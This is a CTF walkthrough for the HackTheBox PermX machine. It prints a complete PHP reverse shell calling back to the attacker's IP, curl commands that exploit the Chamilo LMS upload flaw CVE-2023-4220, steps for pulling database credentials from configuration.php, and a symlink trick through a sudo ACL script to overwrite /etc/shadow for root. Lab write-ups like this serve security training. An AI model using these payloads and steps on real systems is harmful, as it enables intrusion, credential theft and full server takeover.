HackTheBox PermX Writeup
Explore the fundamentals of cybersecurity in the PermX Capture The Flag (CTF) challenge, an easy-level experience, ideal for beginners! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible and perfect for those new to CTFs.
Add Hosts
Edit the /etc/hosts
file and add the following entries:
1
10.10.11.23 permx.htb
Script to add hosts automatically
1
2
3
ip="10.10.11.23"
domain="permx.htb lms.permx.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
nmap -sCV permx.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-22 16:35 CEST
Nmap scan report for permx.htb (10.10.11.23)
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: eLEARNING
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Subdomain Enumeration with ffuf
1
ffuf -u http://permx.htb -H "Host:FUZZ.permx.htb" -w /usr/share/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -c -fc 302
- Discovered Subdomains:
- lms.permx.htb: [Status: 200, Size: 19347, Words: 4910, Lines: 353]
Exploiting CVE-2023-4220 on Chamilo LMS
Make the file rce.php
Replace
<vpn-ip>
with your actual VPN IP to receive the connection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '<vpn-ip>';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Start a listener for the reverse shell:
1
nc -lvnp 9001
Upload PHP Reverse Shell:
1
curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
Invoke the Uploaded Shell:
1
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
1
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z
to background the shell, then run:
1
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
1
export TERM=xterm;
Database Enumeration
Navigate to the Chamilo LMS directory and look for the configuration.php
file, which may contain database credentials.
1
2
cd /var/www/chamilo
find ./ -type f -name "configuration.php" -exec ls -l {} \;
Extract database credentials from the configuration file:
1
cat ./app/config/configuration.php | grep "db_"
Privilege Escalation
SSH into the Server: Log in using mtz
credentials (if found in the database):
1
ssh mtz@permx.htb
Check Sudo Permissions: Check what mtz
can run with sudo
:
1
sudo -l
Output:
1
(ALL : ALL) NOPASSWD: /opt/acl.sh
Exploit ACL Script for Privilege Escalation:
The script /opt/acl.sh
can be used to manipulate file permissions. Create a symbolic link to /etc/shadow
, the file storing password hashes, and manipulate its permissions.
1
2
ln -s /etc/shadow /home/mtz/shadow
sudo /opt/acl.sh mtz xrw /home/mtz/shadow
Edit the shadow
file with nano
to replace the root password hash with one you control.
1
nano /home/mtz/shadow
Gain Root Access: After editing the shadow file, you can switch to the root user using su
:
1
2
su
cat /root/root.txt